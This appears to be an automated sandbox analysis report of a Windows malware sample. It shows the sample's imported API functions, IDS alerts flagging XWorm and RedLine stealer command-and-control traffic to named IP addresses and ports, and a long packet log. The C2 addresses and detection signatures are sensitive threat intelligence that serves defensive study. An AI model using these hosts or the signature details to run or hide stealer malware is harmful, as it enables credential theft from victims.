KERNEL32.dll	FindClose, FindNextFileW, FindFirstFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, GetModuleFileNameW, FindResourceW, GetModuleHandleW, FreeLibrary, GetProcAddress, LoadLibraryW, GetCurrentProcessId, GetLocaleInfoW, GetNumberFormatW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, WaitForSingleObject, GetDateFormatW, GetTimeFormatW, FileTimeToSystemTime, FileTimeToLocalFileTime, GetExitCodeProcess, GetTempPathW, MoveFileExW, UnmapViewOfFile, Sleep, MapViewOfFile, GetCommandLineW, CreateFileMappingW, GetTickCount, OpenFileMappingW, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, CreateThread, GetProcessAffinityMask, CreateEventW, CreateSemaphoreW, ReleaseSemaphore, ResetEvent, SetEvent, SetThreadPriority, SystemTimeToFileTime, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, LocalFileTimeToFileTime, WideCharToMultiByte, MultiByteToWideChar, CompareStringW, IsDBCSLeadByte, SetFileTime, SetFileAttributesW, SetCurrentDirectoryW, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, SetStdHandle, GetLocaleInfoA, GetStringTypeW, GetStringTypeA, LoadLibraryA, GetConsoleMode, GetConsoleCP, InitializeCriticalSectionAndSpinCount, QueryPerformanceCounter, SetHandleCount, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetEnvironmentStrings, FreeEnvironmentStringsA, GetModuleHandleA, LCMapStringW, LCMapStringA, IsValidCodePage, GetOEMCP, GetACP, GetModuleFileNameA, ExitProcess, HeapSize, IsDebuggerPresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, TerminateProcess, VirtualAlloc, VirtualFree, HeapCreate, InterlockedDecrement, GetCurrentThreadId, InterlockedIncrement, TlsFree, TlsSetValue, TlsAlloc, TlsGetValue, GetStartupInfoA, GetCommandLineA, RaiseException, GetFileAttributesW, FlushFileBuffers, ReadFile, GetFileType, SetEndOfFile, SetFilePointer, WriteFile, GetStdHandle, GetLongPathNameW, GetShortPathNameW, GlobalAlloc, MoveFileW, CreateFileW, CreateDirectoryW, DeviceIoControl, RemoveDirectoryW, DeleteFileW, CreateHardLinkW, GetCurrentProcess, CloseHandle, SetLastError, GetLastError, CreateFileA, GetCPInfo, GetSystemTimeAsFileTime, HeapAlloc, HeapReAlloc, HeapFree, RtlUnwind
USER32.dll	EnableWindow, GetDlgItem, ShowWindow, SetWindowLongW, GetDC, ReleaseDC, FindWindowExW, GetParent, MapWindowPoints, CreateWindowExW, UpdateWindow, LoadCursorW, RegisterClassExW, DefWindowProcW, DestroyWindow, CopyRect, IsWindow, CharUpperW, OemToCharBuffA, LoadIconW, LoadBitmapW, PostMessageW, GetSysColor, SetForegroundWindow, MessageBoxW, WaitForInputIdle, IsWindowVisible, DialogBoxParamW, DestroyIcon, SetFocus, GetClassNameW, SendDlgItemMessageW, EndDialog, GetDlgItemTextW, SetDlgItemTextW, wvsprintfW, SendMessageW, PeekMessageW, GetMessageW, TranslateMessage, DispatchMessageW, LoadStringW, GetWindowRect, GetClientRect, SetWindowPos, GetWindowTextW, SetWindowTextW, GetSystemMetrics, GetWindow, GetWindowLongW
GDI32.dll	GetDeviceCaps, CreateCompatibleDC, CreateCompatibleBitmap, SelectObject, StretchBlt, DeleteDC, GetObjectW, DeleteObject, CreateDIBSection
COMDLG32.dll	GetSaveFileNameW, CommDlgExtendedError, GetOpenFileNameW
ADVAPI32.dll	RegOpenKeyExW, RegQueryValueExW, RegCreateKeyExW, RegSetValueExW, RegCloseKey, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges
SHELL32.dll	SHBrowseForFolderW, ShellExecuteExW, SHGetSpecialFolderLocation, SHFileOperationW, SHGetPathFromIDListW, SHGetMalloc, SHChangeNotify, SHGetFileInfoW
ole32.dll	CLSIDFromString, CoCreateInstance, OleInitialize, OleUninitialize, CreateStreamOnHGlobal
OLEAUT32.dll	VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/16/24-21:08:49.732554	TCP	2852874	ETPRO TROJAN Win32/XWorm CnC PING Command Inbound M2	7000	49746	45.88.186.18	192.168.2.4
07/16/24-21:09:07.854397	TCP	2852923	ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	49746	7000	192.168.2.4	45.88.186.18
07/16/24-21:07:40.914617	TCP	2855924	ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound	49746	7000	192.168.2.4	45.88.186.18
07/16/24-21:09:07.853192	TCP	2852870	ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes	7000	49746	45.88.186.18	192.168.2.4
07/16/24-21:09:00.501675	TCP	2853193	ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound	49746	7000	192.168.2.4	45.88.186.18

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-16T21:07:40.914617+0200	TCP	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	49746	7000	192.168.2.4	45.88.186.18
2024-07-16T21:07:27.212960+0200	TCP	2033967	ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)	49745	443	192.168.2.4	149.154.167.220
2024-07-16T21:07:13.916186+0200	TCP	2848200	ETPRO MALWARE RedLine - GetUpdates Request	49738	9336	192.168.2.4	147.185.221.20
2024-07-16T21:08:49.732554+0200	TCP	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	7000	49746	45.88.186.18	192.168.2.4
2024-07-16T21:09:07.854397+0200	TCP	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	49746	7000	192.168.2.4	45.88.186.18
2024-07-16T21:07:11.118991+0200	TCP	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	9336	49730	147.185.221.20	192.168.2.4
2024-07-16T21:07:08.760906+0200	TCP	2840787	ETPRO HUNTING Request for config.json	49735	443	192.168.2.4	23.32.185.164
2024-07-16T21:09:07.853192+0200	TCP	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	7000	49746	45.88.186.18	192.168.2.4
2024-07-16T21:07:07.874705+0200	TCP	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	9336	49730	147.185.221.20	192.168.2.4
2024-07-16T21:07:08.324582+0200	TCP	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	9336	49730	147.185.221.20	192.168.2.4
2024-07-16T21:07:08.868628+0200	TCP	2835930	ETPRO POLICY Observed External IP Lookup Domain (api.ip .sb in TLS SNI)	49736	443	192.168.2.4	104.26.12.31
2024-07-16T21:07:09.279083+0200	TCP	2835929	ETPRO POLICY External IP Address Lookup via api.ip .sb	49736	443	192.168.2.4	104.26.12.31
2024-07-16T21:07:27.532720+0200	TCP	2045615	ET HUNTING Telegram API Request (GET)	49745	443	192.168.2.4	149.154.167.220
2024-07-16T21:07:27.532720+0200	TCP	2853685	ETPRO MALWARE Win32/XWorm Checkin via Telegram	49745	443	192.168.2.4	149.154.167.220
2024-07-16T21:07:11.505252+0200	TCP	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	49737	9336	192.168.2.4	147.185.221.20
2024-07-16T21:07:27.217238+0200	TCP	2029322	ET HUNTING Telegram API Certificate Observed	443	49745	149.154.167.220	192.168.2.4
2024-07-16T21:09:00.501675+0200	TCP	2853193	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	49746	7000	192.168.2.4	45.88.186.18
2024-07-16T21:07:08.872910+0200	TCP	2833693	ETPRO POLICY Observed SSL Cert (External IP Address Lookup (ip .sb))	443	49736	104.26.12.31	192.168.2.4
2024-07-16T21:07:58.125604+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49747	20.12.23.50	192.168.2.4
2024-07-16T21:07:19.836796+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49739	20.12.23.50	192.168.2.4
2024-07-16T21:07:08.369249+0200	UDP	2835928	ETPRO POLICY External IP Address Lookup DNS Query (api .ip .sb)	53385	53	192.168.2.4	1.1.1.1
2024-07-16T21:07:02.736165+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49730	9336	192.168.2.4	147.185.221.20
2024-07-16T21:07:08.182096+0200	TCP	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	49730	9336	192.168.2.4	147.185.221.20
2024-07-16T21:07:26.559583+0200	UDP	2033966	ET HUNTING Telegram API Domain in DNS Lookup	61962	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2024 21:07:02.134418964 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:02.139592886 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:02.139731884 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:02.207060099 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:02.212352037 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:02.564506054 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:02.569716930 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:02.683413982 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:02.736165047 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:02.818061113 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:02.861217022 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:07.866453886 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:07.874705076 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:08.009381056 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:08.009540081 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:08.014436960 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:08.181982040 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:08.182043076 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:08.182096004 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:08.272368908 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:08.272519112 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:08.272550106 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:08.272563934 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:08.314138889 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:08.324582100 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:08.376636982 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.113349915 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.114181995 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.118990898 CEST	9336	49730	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.119051933 CEST	49730	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.119100094 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.119165897 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.119765043 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.124605894 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.470743895 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.476042032 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476106882 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476109028 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.476167917 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476174116 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.476198912 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476227045 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476247072 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.476255894 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476280928 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.476285934 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476300001 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.476314068 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476334095 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.476341963 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476361990 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.476375103 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.476377010 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.476723909 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.481967926 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.481997967 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.482017040 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.482049942 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.482050896 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.482080936 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.482109070 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.482114077 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.482137918 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.482144117 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.482165098 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.482175112 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.504602909 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.505251884 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.511132002 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511213064 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.511276007 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511334896 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.511352062 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511396885 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.511410952 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511485100 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.511784077 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511811972 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511837006 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.511840105 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511857033 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.511868954 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511884928 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.511920929 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511949062 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511971951 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.511976957 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.511990070 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512006998 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512032032 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512046099 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512057066 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512085915 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512134075 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512135983 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512164116 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512206078 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512217999 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512247086 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512295008 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512296915 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512326956 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512373924 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512376070 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512403965 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512450933 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512608051 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512636900 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512665033 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512685061 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512691975 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.512717009 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.512736082 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516057968 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516102076 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516258955 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516273022 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516315937 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516318083 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516330004 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516357899 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516371012 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516374111 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516386032 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516401052 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516411066 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516419888 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516454935 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516458035 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516469002 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516495943 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516514063 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516526937 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516536951 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516573906 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516586065 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516616106 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516623020 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516628027 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516668081 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516681910 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516695023 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516721964 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516736984 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.516755104 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516767025 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.516809940 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517215014 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517273903 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517321110 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517345905 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517359018 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517390013 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517410994 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517437935 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517451048 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517463923 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517474890 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517510891 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517612934 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517627001 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517666101 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517668009 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517679930 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517693996 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517718077 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517728090 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517730951 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517745018 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517761946 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517769098 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517781973 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517790079 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517795086 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517807007 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517807961 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517821074 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517849922 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517923117 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517936945 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517950058 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517962933 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517970085 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.517976046 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.517988920 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518003941 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518003941 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518030882 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518038988 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518045902 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518055916 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518059969 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518074036 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518086910 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518088102 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518105030 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518112898 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518115044 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518126965 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518135071 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518142939 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518157005 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518162012 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518172026 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518181086 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518183947 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518194914 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518198967 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518208981 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518220901 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518243074 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518254995 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518280983 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518295050 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518318892 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518346071 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518348932 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518359900 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518378019 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518390894 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518403053 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518415928 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518415928 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518430948 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518440962 CEST	49737	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:11.518455029 CEST	9336	49737	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:11.518455982 CEST	49737	9336	192.168.2.4	147.185.221.20
